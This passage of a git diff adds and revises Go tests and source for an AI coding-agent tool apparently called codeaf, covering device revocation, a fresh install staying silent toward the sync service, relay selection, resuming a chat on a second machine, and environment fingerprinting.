+ j.check(strings.Contains(after, "was removed"), "A did not confirm the removal") + j.see(a) + bAgain := startCommand(t, env, "b3", homeB, wsB) + time.Sleep(12 * time.Second) + rejected := plain(bAgain) + t.Logf("B after revoke:\n%s", rejected) + j.check(regexp.MustCompile(`(?i)revoked|reach your chats|bring it back|removed|not (allowed|paired)`).MatchString(rejected), "B opened its chat normally after being revoked and said nothing") + bAgain.kill() + cmd := startCommand(t, env, "b4", homeB, wsB, "devices") + time.Sleep(6 * time.Second) + said := plain(cmd) + t.Logf("B codeaf devices after revoke:\n%s", said) + j.check(regexp.MustCompile(`(?i)revoked|reach your chats|bring it back|removed|not (allowed|paired)`).MatchString(said), "B's own device list does not say B was turned away") + j.see(cmd) + }) + + j.freeze() + stepFresh(j, env) +} + +func stepFresh(j *journey, env []string) { + t := j.t + j.step("0 fresh install: the card shows with no setup", false, func() { + fresh := startWithEnv(t, env, "fresh", newHome(t, nil), newWorkspace(t, "fresh", true), 180, 45) + fresh.skipSetup(t) + fresh.keys("Space") + fresh.keys("Space") + _, ok := waitPlain(fresh, 10*time.Second, "Add another device") + j.check(ok, "a machine that never ran pair --code shows no 'Add another device' card") + j.see(fresh) + }) +} + +// downToOtherDevice is the Down presses from the first device row to the first +// row that does not say "this device". +// deviceRow is a line of the device list: a presence dot, a name, and a short id tail. +// The tab bar also carries a dot, so the dot alone does not mark a row. +var deviceRow = regexp.MustCompile(`[●○]\s+\S+ #[0-9a-f]{4}\b`) + +func downToOtherDevice(list string) []string { + n := 0 + for _, line := range strings.Split(list, "\n") { + switch { + case !deviceRow.MatchString(line): + case strings.Contains(line, "this device"): + n++ + default: + return slices.Repeat([]string{"Down"}, n) + } + } + return []string{"Down"} +} diff --git a/internal/e2e/quiet_e2e_test.go b/internal/e2e/quiet_e2e_test.go new file mode 100644 index 0000000000..a7e8fb6b5d --- /dev/null +++ b/internal/e2e/quiet_e2e_test.go @@ -0,0 +1,88 @@ +//go:build e2e + +package e2e + +// A FRESH INSTALL IS QUIET. A person who has not paired and has not opened the +// add-machine card has asked for nothing from the sync service, so none of the +// first use may reach it: not the home screen's device list, not its watch +// socket, not the device record, not the sealing and upload of a chat that ran +// tools. The sync address here is a counting server; it counts every request +// and every socket upgrade, and the test fails on the first one. + +import ( + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/config" +) + +// tally is a sync service that counts what reaches it and answers nothing. +type tally struct { + mu sync.Mutex + paths []string +} + +func (c *tally) ServeHTTP(w http.ResponseWriter, r *http.Request) { + c.mu.Lock() + c.paths = append(c.paths, r.Method+" "+r.URL.Path+" upgrade="+r.Header.Get("Upgrade")) + c.mu.Unlock() + http.Error(w, "counted", http.StatusServiceUnavailable) +} + +func (c *tally) seen() []string { + c.mu.Lock() + defer c.mu.Unlock() + return append([]string(nil), c.paths...) +} + +func TestFreshInstallSendsNothingToTheSyncService(t *testing.T) { + key := requireTmuxAndKey(t) + count := &tally{} + srv := httptest.NewServer(count) + defer srv.Close() + env := []string{config.APIKeyEnv + "=" + key, "CODEAF_SYNC_URL=" + srv.URL, "CODEAF_SYNC_INTERVAL_MS=1000"} + + home, ws := newHome(t, nil), newWorkspace(t, "proj", true) + app := startWithEnv(t, env, "quiet", home, ws, 180, 45) + app.skipSetup(t) + app.keys("Space") + app.keys("Space") + if _, ok := waitPlain(app, 12*time.Second, "Add another device"); !ok { + t.Fatalf("the card is hidden on a fresh install:\n%s", plain(app)) + } + time.Sleep(20 * time.Second) // home polls, device row, watch socket would all have fired + + app.lit("run the shell command: echo quiet-check > note.txt then say done") + app.keys("Enter") + if _, ok := waitPlain(app, 120*time.Second, "done"); !ok { + t.Logf("the chat did not finish in time:\n%s", plain(app)) + } + time.Sleep(5 * time.Second) + if got := count.seen(); len(got) != 0 { + t.Fatalf("a fresh install reached the sync service %d times: %s", len(got), strings.Join(got, "; ")) + } + + app.kill() + app = startWithEnv(t, env, "engaged", home, ws, 180, 45) + app.skipSetup(t) + app.keys("Space") + app.keys("Space") + if _, ok := waitPlain(app, 12*time.Second, "Add another device"); !ok { + t.Fatalf("the card is gone on the second launch:\n%s", plain(app)) + } + if got := count.seen(); len(got) != 0 { + t.Fatalf("a second quiet launch reached the sync service: %s", strings.Join(got, "; ")) + } + app.keys("M-d") + deadline := time.Now().Add(15 * time.Second) + for len(count.seen()) == 0 && time.Now().Before(deadline) { + time.Sleep(500 * time.Millisecond) + } + if len(count.seen()) == 0 { + t.Fatal("opening the add-machine card never reached the sync service") + } +} diff --git a/internal/e2e/relayenv_test.go b/internal/e2e/relayenv_test.go new file mode 100644 index 0000000000..3d9d88f2c8 --- /dev/null +++ b/internal/e2e/relayenv_test.go @@ -0,0 +1,76 @@ +package e2e + +// relayenv_test.go is the one place an end-to-end test learns which relay it runs against. +// +// A test that fell back to a relay of its own when nothing was set put load, and a fresh identity +// per run, on a service nobody chose. So the relay is CODEAF_RELAY, the same variable the scripts +// read (scripts/measure/rigenv.py), and when it is missing the test stops and says so. + +import ( + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +// relayEnv is the variable that names the relay under test, for every script and every test. +const relayEnv = "CODEAF_RELAY" + +// relayFrom is the relay a lookup names, or the error that says which variable to set. +func relayFrom(lookup func(string) string) (string, error) { + if relay := strings.TrimSpace(lookup(relayEnv)); relay != "" { + return relay, nil + } + return "", errors.New(relayEnv + " is not set: it is the relay under test, for example https://relay.example.com (docs/testing-anywhere.md)") +} + +// relayUnderTest skips the test, with the reason, when no relay was named: a skip is honest here +// because the run needs a service that only the person running it can choose. +func relayUnderTest(t *testing.T) string { + t.Helper() + relay, err := relayFrom(os.Getenv) + if err != nil { + t.Skip(err.Error()) + } + return relay +} + +func TestRelayFromEnvNamesTheVariableWhenUnset(t *testing.T) { + _, err := relayFrom(func(string) string { return "" }) + if err == nil || !strings.Contains(err.Error(), relayEnv) { + t.Fatalf("an unset relay must stop with a message naming %s, got %v", relayEnv, err) + } +} + +func TestRelayFromEnvReadsOnlyTheNamedVariable(t *testing.T) { + got, err := relayFrom(func(k string) string { + if k == relayEnv { + return " https://relay.example.com " + } + return "https://other.example.com" + }) + if err != nil || got != "https://relay.example.com" { + t.Fatalf("got %q, %v", got, err) + } +} + +// TestNoRelayHiddenInTheSuite keeps every test's relay coming through relayUnderTest: no file may +// carry a relay address of its own or read a second variable for it. +func TestNoRelayHiddenInTheSuite(t *testing.T) { + files, _ := filepath.Glob("*_test.go") + for _, f := range files { + if f == "relayenv_test.go" { + continue + } + src, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) + } + for _, banned := range []string{"workers.dev", "CODEAF_HOSTED_URL"} { + if strings.Contains(string(src), banned) { + t.Errorf("%s names %q: take the relay from relayUnderTest instead", f, banned) + } + } + } +} diff --git a/internal/e2e/resume_e2e_test.go b/internal/e2e/resume_e2e_test.go new file mode 100644 index 0000000000..3933bfcf29 --- /dev/null +++ b/internal/e2e/resume_e2e_test.go @@ -0,0 +1,267 @@ +//go:build e2e + +package e2e + +import ( + "context" + "fmt" + "net" + "net/http" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" +) + +// TestResumeBriefAfterTakeover is the live proof of the resume brief: a chat +// that installed its packages and started a server on one machine is continued +// on a second machine, where the install folder is NOT among the files that +// arrived, the takeover raises the setup card, and `set up` brings the folder +// and the server back. +// +// TWO STATE ROOTS AND ONE RELAY OF ITS OWN, on a port the OS hands out, so no +// other run's relay is ever touched. Every model role rides one model. +func TestResumeBriefAfterTakeover(t *testing.T) { + requireTmuxAndKey(t) + const model = "deepseek/deepseek-v4.1-flash" + overrides := map[string]any{"model.talk": model, "tools.approvalMode": "allow", "daily_budget_usd": 0, + "models.crew.allowed": model, "model_pool": "off"} + homeA, homeB := newHome(t, overrides), newHome(t, overrides) + t.Cleanup(func() { logInventories(t, homeA, homeB) }) + relay := startOwnRelay(t) + shareIdentity(t, homeA, homeB) + + port := freePort(t) + ws := jsWorkspace(t) + t.Cleanup(func() { logServerLog(t, ws) }) + cache := warmNpmCache(t, ws) + sync := []string{"CODEAF_SYNC_URL=" + relay, "CODEAF_SYNC_INTERVAL_MS=500"} + + a := startWithEnv(t, append([]string{config_key(t)}, append(sync, "CODEAF_TASK_BELT=node")...), "resume_a", homeA, ws, 160, 45, "chat", "--model", model, "--one-model", "--no-host") + a.skipSetup(t) + a.lit(fmt.Sprintf("Do exactly this with bash and nothing else, one bash call at a time, and wait for each call to finish before you make the next. 1) run `npm ci --offline --cache %s`. 2) start the server in the background with `nohup node server.js %d >server.log 2>&1 &`. 3) wait 2 seconds. Then answer with the sum of 19273 and 28114, as digits only.", cache, port)) + // The prompt asks for one call at a time because a model that sends the install + // and the server start as two parallel calls starts the server before the install + // has put its packages in place, and the server dies on its first require. + a.keys("Enter") + // The reply is a sum that is on screen nowhere until the model says it. A word + // quoted in the prompt would be found while the call is still running, and so + // would one the title writer copies into the chat's name; quitting then ends + // the server and the seal before either could be recorded. + a.waitFor(4*time.Minute, "47387") + waitUp(t, port) + a.quit() + stopServer(t, port) + + b := startWithEnv(t, append([]string{config_key(t)}, sync...), "resume_b", homeB, newWorkspace(t, "elsewhere", false), 160, 45, "chat", "--model", model, "--one-model", "--no-host") + b.skipSetup(t) + b.keys("Space", "Space") + b.waitFor(60*time.Second, keyedWord("1", "chat")) + time.Sleep(8 * time.Second) + t.Logf("B home:\n%s", b.capture()) + b.keys("Up") + t.Logf("after up:\n%s", b.capture()) + b.keys("Enter") + b.waitFor(30*time.Second, "Continue this chat here?") + // Answer by the option's own key, then enter. Under home the up arrow is home's and + // disarms the row, so walking the pointer would close the card. + b.keys("1", "Enter") + card := b.waitFor(90*time.Second, "Set this machine up like") + t.Logf("the card:\n%s", card) + if !strings.Contains(card, "was running there") { + t.Errorf("the card does not say the server was running there:\n%s", card) + } + tree := takenTree(t, homeB) + if _, err := os.Stat(filepath.Join(tree, "node_modules")); err == nil { + t.Fatalf("node_modules travelled to %s", tree) + } + b.keys("1", "Enter") + waitUp(t, port) + b.waitForSetupTurn(t) + if _, err := os.Stat(filepath.Join(tree, "node_modules")); err != nil { + t.Fatalf("set up did not rebuild node_modules: %v", err) + } + t.Logf("E2E resume: model=%s card=shown node_modules=absent-then-rebuilt server=back port=%d", model, port) + b.quit() + stopServer(t, port) +} + +// waitForSetupTurn waits until the agent has finished the setup turn: the turn's +// summary line, which reads "worked" once it is over and "working" while it runs. +// Quitting before then cancels the call in flight and ends the server it started. +func (r *rig) waitForSetupTurn(t *testing.T) { + t.Helper() + deadline := time.Now().Add(3 * time.Minute) + for time.Now().Before(deadline) { + screen := r.capture() + if at := strings.Index(screen, "› set up this machine"); at >= 0 && strings.Contains(screen[at:], "worked ") { + return + } + time.Sleep(time.Second) + } + t.Fatal("the setup turn never finished") +} + +func config_key(t *testing.T) string { return "OPENROUTER_API_KEY=" + liveKey(t) } + +func freePort(t *testing.T) int { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer l.Close() + return l.Addr().(*net.TCPAddr).Port +} + +func startOwnRelay(t *testing.T) string { + t.Helper() + addr := fmt.Sprintf("127.0.0.1:%d", freePort(t)) + state := t.TempDir() + cmd := guardedCommand(t, context.Background(), state, append(os.Environ(), "CODEAF_HOME="+state), binary(t), "relay", "--listen", addr, "--store", t.TempDir()) + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = cmd.Process.Kill(); _, _ = cmd.Process.Wait() }) + url := "http://" + addr + for i := 0; i < 50; i++ { + if resp, err := http.Get(url + "/status"); err == nil { + resp.Body.Close() + return url + } + time.Sleep(200 * time.Millisecond) + } + t.Fatal("the relay never answered") + return "" +} + +func shareIdentity(t *testing.T, from, to string) { + t.Helper() + blob := filepath.Join(t.TempDir(), "id.blob") + run := func(home, phrase string, args ...string) { + cmd := guardedCommand(t, context.Background(), home, append(os.Environ(), "CODEAF_HOME="+home), binary(t), append([]string{"identity"}, args...)...) + cmd.Stdin = strings.NewReader(phrase + "\n") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("identity %v: %v\n%s", args, err, out) + } + } + run(from, "resume-e2e", "export", blob) + run(to, "resume-e2e", "import", blob) +} + +func jsWorkspace(t *testing.T) string { + t.Helper() + ws := workspaceAt(t, filepath.Join(t.TempDir(), "resume-probe"), false) + write := func(name, body string) { + if err := os.WriteFile(filepath.Join(ws, name), []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + write("package.json", `{"name":"resume-probe","version":"1.0.0","dependencies":{"is-odd":"3.0.1"}}`) + write("server.js", "const odd=require('is-odd');require('http').createServer((q,s)=>s.end(String(odd(3)))).listen(+process.argv[2]);\n") + write(".gitignore", "node_modules\nserver.log\n") + lock := exec.Command("npm", "install", "--package-lock-only", "--silent") + lock.Dir = ws + if out, err := lock.CombinedOutput(); err != nil { + t.Fatalf("npm lock: %v\n%s", err, out) + } + return ws +} + +// serverPids are the processes running this run's server, found by its own +// command line. The chat's shell may sit in a network space the test cannot +// reach, so the process is the fact, and not an answer over a socket. +func serverPids(port int) []int { + want := fmt.Sprintf("server.js\x00%d", port) + var pids []int + dirs, _ := filepath.Glob("/proc/[0-9]*/cmdline") + for _, path := range dirs { + if raw, err := os.ReadFile(path); err == nil && strings.Contains(string(raw), want) { + var pid int + fmt.Sscanf(strings.TrimPrefix(path, "/proc/"), "%d", &pid) + pids = append(pids, pid) + } + } + return pids +} + +func waitUp(t *testing.T, port int) { + t.Helper() + for i := 0; i < 120; i++ { + if len(serverPids(port)) > 0 { + return + } + time.Sleep(time.Second) + } + t.Fatalf("no server process for port %d", port) +} + +// stopServer ends the server this run started. +func stopServer(t *testing.T, port int) { + t.Helper() + for _, pid := range serverPids(port) { + _ = exec.Command("kill", fmt.Sprint(pid)).Run() + } + time.Sleep(500 * time.Millisecond) +} + +// takenTree is the folder the second machine holds the chat's files in. +func takenTree(t *testing.T, home string) string { + t.Helper() + found, _ := filepath.Glob(filepath.Join(home, "v3", "projects", "*", "*", "work")) + if len(found) == 0 { + t.Fatalf("no taken tree under %s", home) + } + return found[0] +} + +// warmNpmCache installs the lockfile once from outside the chat, into a cache +// folder of its own, because the chat's shell may have no network and no user +// cache. The chat then installs from that folder, offline. +func warmNpmCache(t *testing.T, ws string) string { + t.Helper() + cache, scratch := t.TempDir(), t.TempDir() + for _, name := range []string{"package.json", "package-lock.json"} { + raw, err := os.ReadFile(filepath.Join(ws, name)) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(scratch, name), raw, 0o644); err != nil { + t.Fatal(err) + } + } + warm := exec.Command("npm", "ci", "--cache", cache) + warm.Dir = scratch + if out, err := warm.CombinedOutput(); err != nil { + t.Fatalf("npm cache warm: %v\n%s", err, out) + } + return cache +} + +// logInventories prints what each machine recorded of the chat's environment, +// when the run failed: the record is the fact the card is built from, and a +// failure that shows no card line cannot be read without it. +func logInventories(t *testing.T, homes ...string) { + if !t.Failed() { + return + } + for _, home := range homes { + files, _ := filepath.Glob(filepath.Join(home, "v3", "projects", "*", "*", ".cell", "env", "inventory.json")) + for _, f := range files { + raw, _ := os.ReadFile(f) + t.Logf("INVENTORY %s\n%s", f, raw) + } + } +} + +// logServerLog prints what the chat's server wrote, when the run failed: a server +// that died at once says why there. +func logServerLog(t *testing.T, ws string) { + if !t.Failed() { + return + } + raw, err := os.ReadFile(filepath.Join(ws, "server.log")) + t.Logf("server.log (%v): %q", err, raw) +} diff --git a/internal/e2e/tmux_test.go b/internal/e2e/tmux_test.go index 0a8b884c90..546e723914 100644 --- a/internal/e2e/tmux_test.go +++ b/internal/e2e/tmux_test.go @@ -468,6 +468,9 @@ func startWithEnv(t *testing.T, env []string, name, home, ws string, cols, rows // AND THE SETUP FORM IS ONE AT EVERY WIDTH. Below sixty columns it draws // neither its title nor `esc skips setup`, only the first two clauses of its // legend, which is what [setupMovesWord] reads. + if headlessVerbs[firstWord(args)] { + return r + } if hit, _ := r.waitForAny(45*time.Second, say(t, "placeRestWord"), say(t, "starterTaskWord"), say(t, "setupTitleWord"), say(t, "setupSkipWord"), setupMovesWord, say(t, "landingKeysWord"), say(t, "welcomeStarterKeysWord"), @@ -478,6 +481,17 @@ func startWithEnv(t *testing.T, env []string, name, home, ws string, cols, rows return r } +// headlessVerbs are commands that print to the terminal and never draw a +// surface, so a launch of one has no interactive screen to wait for. +var headlessVerbs = map[string]bool{"pair": true, "devices": true} + +func firstWord(args []string) string { + if len(args) == 0 { + return "" + } + return args[0] +} + func (r *rig) resize(cols, rows int) { r.t.Helper() out, err := exec.Command("tmux", "resize-window", "-t", r.name, diff --git a/internal/enginehost/c10_sync_env_test.go b/internal/enginehost/c10_sync_env_test.go new file mode 100644 index 0000000000..50ddfc5c38 --- /dev/null +++ b/internal/enginehost/c10_sync_env_test.go @@ -0,0 +1,53 @@ +package enginehost + +import ( + "bytes" + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "testing" +) + +// C10 requires relay changes and off to change host compatibility. +func TestC10SyncURLChangesMustChangeHostEnvironment(t *testing.T) { + t.Setenv(config.ProfileDirEnv, t.TempDir()) + workspace := t.TempDir() + salt := make([]byte, 32) + t.Setenv("CODEAF_SYNC_URL", "http://127.0.0.1:41001") + initial := EnvironmentMAC(salt, workspace) + for _, target := range []string{"http://127.0.0.1:41002", "off"} { + t.Setenv("CODEAF_SYNC_URL", target) + if bytes.Equal(initial, EnvironmentMAC(salt, workspace)) { + t.Errorf("changing CODEAF_SYNC_URL to %q leaves the host environment fingerprint unchanged", target) + } + } +} + +// C10 resolves the saved pairing address before comparing, so equal relay +// choices stay compatible regardless of which source named them. +func TestC10HostFingerprintUsesResolvedSyncSetting(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + t.Setenv(config.ProfileDirEnv, t.TempDir()) + t.Setenv("CODEAF_SYNC_URL", "http://127.0.0.1:41001") + workspace, salt := t.TempDir(), make([]byte, 32) + initial := EnvironmentMAC(salt, workspace) + if err := syncsetup.SaveRelayURL(dir, "http://127.0.0.1:41001"); err != nil { + t.Fatal(err) + } + t.Setenv("CODEAF_SYNC_URL", "") + if !bytes.Equal(initial, EnvironmentMAC(salt, workspace)) { + t.Fatal("the same saved relay changed compatibility") + } + if err := syncsetup.SaveRelayURL(dir, "http://127.0.0.1:41002"); err != nil { + t.Fatal(err) + } + if bytes.Equal(initial, EnvironmentMAC(salt, workspace)) { + t.Fatal("a changed saved relay left compatibility unchanged") + } + t.Setenv("CODEAF_SYNC_URL", "OFF") + off := EnvironmentMAC(salt, workspace) + t.Setenv("CODEAF_SYNC_URL", "off") + if !bytes.Equal(off, EnvironmentMAC(salt, workspace)) { + t.Fatal("equivalent off spellings changed compatibility") + } +} diff --git a/internal/enginehost/environment.go b/internal/enginehost/environment.go index 6802ec072a..dfe452b688 100644 --- a/internal/enginehost/environment.go +++ b/internal/enginehost/environment.go @@ -11,12 +11,26 @@ import ( "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/syncsetup" ) // environmentName stays beside the lock and socket because this answer belongs // to the host, never to a conversation or a credential sent across its wire. const environmentName = "environment" +// Sync has a separate fingerprint because attaching with a different relay +// must be refused even when a provider environment change can join busy work. +const syncEnvironmentName = "sync-environment" + +func syncEnvironment() string { + relay := syncsetup.Resolve(home.Dir()) + if relay.Off { + return "off" + } + return relay.URL +} + // canonicalEnvironment keeps only the environment codeaf actually reads for // providers and settings. THE HOST'S ADDRESS IS EXCLUDED: two processes finding // this socket already agreed on the state root, and shell bookkeeping must not @@ -57,15 +71,25 @@ func canonicalEnvironment(workspace string) string { return strings.Join(lines, "\n") } -// EnvironmentMAC is the fingerprint of the environment codeaf reads for -// providers and settings, under a caller's salt: no value is ever in it, and +// EnvironmentMAC fingerprints providers, settings and the resolved relay +// under a caller's salt: no value is ever in it, and // two processes with the same salt and the same keys answer the same bytes. // The automations clock compares windows with it (cmd/codeaf's chatv3_clock.go). func EnvironmentMAC(salt []byte, workspace string) []byte { return environmentMAC(salt, workspace) } func environmentMAC(salt []byte, workspace string) []byte { + return fingerprintMAC(salt, resolvedEnvironment(workspace)) +} + +// The relay is resolved configuration, separate from the provider/settings +// registry that canonicalEnvironment describes. Both belong to compatibility. +func resolvedEnvironment(workspace string) string { + return canonicalEnvironment(workspace) + "\nCODEAF_SYNC_URL=" + syncEnvironment() +} + +func fingerprintMAC(salt []byte, value string) []byte { mac := hmac.New(sha256.New, salt) - _, _ = mac.Write([]byte(canonicalEnvironment(workspace))) + _, _ = mac.Write([]byte(value)) return mac.Sum(nil) } @@ -73,6 +97,13 @@ func environmentMAC(salt []byte, workspace string) []byte { // never compares a partly written answer. No environment value is saved, even // when the environment contains a provider key with an unfamiliar shape. func writeEnvironment(dir, workspace string) error { + if err := writeFingerprint(dir, syncEnvironmentName, syncEnvironment()); err != nil { + return err + } + return writeFingerprint(dir, environmentName, resolvedEnvironment(workspace)) +} + +func writeFingerprint(dir, name, value string) error { salt := make([]byte, sha256.Size) if _, err := rand.Read(salt); err != nil { return err @@ -82,27 +113,39 @@ func writeEnvironment(dir, workspace string) error { return err } defer os.Remove(file.Name()) - if _, err := file.Write(append(salt, environmentMAC(salt, workspace)...)); err != nil { + if _, err := file.Write(append(salt, fingerprintMAC(salt, value)...)); err != nil { _ = file.Close() return err } if err := file.Close(); err != nil { return err } - return os.Rename(file.Name(), filepath.Join(dir, environmentName)) + return os.Rename(file.Name(), filepath.Join(dir, name)) } // EnvironmentDiffers answers only a complete fingerprint. Missing, unreadable // or malformed files mean the host has not said, which must never be a reason // to restart it. Comparison stays local and takes constant time for the digest. func EnvironmentDiffers(workspace string) bool { + return fingerprintDiffers(workspace, environmentName, resolvedEnvironment(workspace), false) +} + +// SyncDiffers compares the relay the host resolved at startup with this +// terminal's choice, including a pairing's saved address and the off switch. +func SyncDiffers(workspace string) bool { + // A host from before this fingerprint cannot confirm an explicit address + // or off switch. That choice must not fall through to busy-host reuse. + return fingerprintDiffers(workspace, syncEnvironmentName, syncEnvironment(), env.Get(syncsetup.URLVar) != "") +} + +func fingerprintDiffers(workspace, name, value string, unknown bool) bool { dir, err := where(workspace) if err != nil { return false } - body, err := os.ReadFile(filepath.Join(dir, environmentName)) + body, err := os.ReadFile(filepath.Join(dir, name)) if err != nil || len(body) != 2*sha256.Size { - return false + return unknown } - return !hmac.Equal(body[sha256.Size:], environmentMAC(body[:sha256.Size], workspace)) + return !hmac.Equal(body[sha256.Size:], fingerprintMAC(body[:sha256.Size], value)) } diff --git a/internal/enginehost/host.go b/internal/enginehost/host.go index a222f01f28..0a579daff8 100644 --- a/internal/enginehost/host.go +++ b/internal/enginehost/host.go @@ -73,6 +73,11 @@ func sweepSpan() time.Duration { return 30 * time.Second } +// SessionIdleAfter is how long a host keeps a conversation nobody is in before +// it lets go of the conversation's journal lock, for a sentence that tells +// someone how long a "running" row can last. +func SessionIdleAfter() time.Duration { return sessionIdle } + // The two numbers a stand-down is measured in. // // A HOST THAT AGREED TO GO WRITES ITS ANSWER BEFORE IT GOES. The frame saying @@ -114,6 +119,11 @@ type Options struct { // no door behind it means, and the empty string it answers for a hello that // named nothing is then the boot's problem rather than an identity. Key func(remote.Hello) string + + // Cells is the cells mode this host runs in, fixed when it starts. It is + // told to every asker ([remote.HostSelf.Cells]) so a door in the other mode + // can replace an idle host or refuse a busy one instead of attaching. + Cells bool } // Host is one workspace's conversations, and the socket they are reached @@ -530,6 +540,7 @@ func (h *Host) whois(ask remote.WhoIs) remote.HostSelf { self.Started = h.started self.BuiltAt = h.binary.builtAt() self.Surfaces = h.live - h.probes + self.Cells = h.opts.Cells for _, sess := range h.sessions { if sess != nil && !sess.Ended() && !deletedJournal(sess.File()) { self.Conversations++ diff --git a/internal/enginehost/status_test.go b/internal/enginehost/status_test.go index fe8bef03c1..f20c951668 100644 --- a/internal/enginehost/status_test.go +++ b/internal/enginehost/status_test.go @@ -55,6 +55,25 @@ func TestAHostNamesItsProcessBinaryAndStartForStatus(t *testing.T) { } } +// A HOST SAYS THE CELLS MODE IT STARTED IN, so a door in the other mode can tell. +func TestAHostSaysTheCellsModeItStartedIn(t *testing.T) { + shortHome(t) + workspace := "/home/somebody/api" + stopped := make(chan error, 1) + go func() { + stopped <- Run(workspace, Options{Cells: true, Boot: func(remote.Hello) (*remote.Engine, error) { + return &remote.Engine{Agent: stubAgent{}, Workspace: workspace}, nil + }}) + }() + waitForHostQuietly(t, workspace) + t.Cleanup(func() { _ = Retire(workspace, true); <-stopped }) + + held, err := Inspect(workspace) + if err != nil || !held.Self.Cells { + t.Fatalf("a host started with cells on said %+v, %v", held.Self, err) + } +} + func TestInspectFindsNothingWhereNothingIsHolding(t *testing.T) { shortHome(t) if _, err := Inspect("/home/somebody/api"); !errors.Is(err, ErrNothingHolding) { diff --git a/internal/exec/accountfor.go b/internal/exec/accountfor.go index f987220bd0..220d958418 100644 --- a/internal/exec/accountfor.go +++ b/internal/exec/accountfor.go @@ -568,6 +568,7 @@ func runGit(ctx context.Context, root string, args ...string) (string, bool) { if ctx == nil { return "", false } + //codeaf:plumbing git read of the workspace state command := osexec.CommandContext(ctx, "git", append([]string{"-C", root}, args...)...) // A read that takes the index lock can lose a race with whatever else is // working in this tree, and an account is never worth blocking the work. diff --git a/internal/exec/attachments_test.go b/internal/exec/attachments_test.go index 3bdc578d1c..f58175c57e 100644 --- a/internal/exec/attachments_test.go +++ b/internal/exec/attachments_test.go @@ -18,7 +18,7 @@ func attachmentFixture(t *testing.T, dir, name, body string) string { return path } -// The journey the reference exists for: a contract attached on Monday, moved +// K3/K4: the journey the reference exists for: a contract attached on Monday, moved // into a different folder on Tuesday, and a job retried on Wednesday that // still reads exactly the bytes that were attached. func TestAKeptAttachmentSurvivesTheOriginalMovingAway(t *testing.T) { @@ -30,7 +30,7 @@ func TestAKeptAttachmentSurvivesTheOriginalMovingAway(t *testing.T) { if err != nil { t.Fatalf("keep: %v", err) } - if !strings.HasPrefix(reference, cas.Scheme) || !strings.HasSuffix(reference, original) { + if !strings.HasPrefix(reference, cas.Scheme) || !strings.HasSuffix(reference, filepath.ToSlash(original)) { t.Fatalf("reference = %q, want a digest carrying %q", reference, original) } if filepath.Ext(reference) != ".pdf" || filepath.Base(reference) != "contract.pdf" { diff --git a/internal/exec/bare/find_drain_test.go b/internal/exec/bare/find_drain_test.go new file mode 100644 index 0000000000..843e6c5380 --- /dev/null +++ b/internal/exec/bare/find_drain_test.go @@ -0,0 +1,28 @@ +package bare + +import ( + "encoding/json" + "github.com/Agent-Field/codeaf/internal/executor" + "os" + "path/filepath" + "runtime" + "strings" + "testing" +) + +// C18 preserves fd's complete output when the helper exits before its child. +func TestFindRetainsOutputFromInheritedPipe(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("requires sh") + } + dir := t.TempDir() + script := "#!/bin/sh\nprintf 'first.txt\\n'\n(sleep 0.4; printf 'second.txt\\n') &\nexit 0\n" + if err := os.WriteFile(filepath.Join(dir, "fd"), []byte(script), 0o700); err != nil { + t.Fatal(err) + } + t.Setenv("PATH", dir+string(os.PathListSeparator)+os.Getenv("PATH")) + text, failed, err := newFindTool(dir, Caps{}).Execute(executor.With(t.Context(), executor.Host), json.RawMessage(`{"pattern":"*.txt"}`)) + if err != nil || failed || !strings.Contains(text, "first.txt") || !strings.Contains(text, "second.txt") { + t.Fatalf("output %q, %t, %v", text, failed, err) + } +} diff --git a/internal/exec/bare/grepfindls.go b/internal/exec/bare/grepfindls.go index 11ff008949..af198d6d99 100644 --- a/internal/exec/bare/grepfindls.go +++ b/internal/exec/bare/grepfindls.go @@ -18,6 +18,8 @@ import ( "sort" "strings" "sync" + + "github.com/Agent-Field/codeaf/internal/executor" ) // grepMaxLineLength mirrors pi's truncate.js:GREP_MAX_LINE_LENGTH. @@ -201,8 +203,12 @@ func newGrepToolUsing(cwd string, caps Caps, rgPath string, haveRipgrep bool) To } rgArgs = append(rgArgs, "--", p.Pattern, ".") - cmd := exec.CommandContext(ctx, rgPath, rgArgs...) - cmd.Dir = searchPath + cmd, err := executor.For(ctx).In(searchPath).Command(ctx, executor.ExecRequest{ + Argv: append([]string{rgPath}, rgArgs...), + }) + if err != nil { + return fmt.Sprintf("Failed to run ripgrep: %s", err.Error()), true, nil + } var stderr grepErrorBuffer cmd.Stderr = &stderr stdout, err := cmd.StdoutPipe() @@ -705,18 +711,20 @@ func newFindTool(cwd string, caps Caps) Tool { } fdArgs = append(fdArgs, "--", effectivePattern, searchPath) - cmd := exec.CommandContext(ctx, fdPath, fdArgs...) - var stdout, stderr strings.Builder - cmd.Stdout = &stdout - cmd.Stderr = &stderr - - runErr := cmd.Run() + res, runErr := executor.For(ctx).In("").Exec(ctx, executor.ExecRequest{ + Argv: append([]string{fdPath}, fdArgs...), + Group: executor.GroupInherit, WaitDelay: -1, + }, nil) + stdout, stderr := string(res.Stdout), string(res.Stderr) + if runErr == nil { + runErr = res.Failure() + } if ctx.Err() != nil { return "Operation aborted", true, nil } - output := strings.TrimSpace(stdout.String()) + output := strings.TrimSpace(stdout) if output == "" { return "No files found matching pattern", false, nil } @@ -763,7 +771,7 @@ func newFindTool(cwd string, caps Caps) Tool { // Check for fd error with non-zero exit and no output. if runErr != nil { - errMsg := strings.TrimSpace(stderr.String()) + errMsg := strings.TrimSpace(stderr) if errMsg != "" && resultOutput == "" { return errMsg, true, nil } diff --git a/internal/exec/bare/hostseat_test.go b/internal/exec/bare/hostseat_test.go new file mode 100644 index 0000000000..c95559a614 --- /dev/null +++ 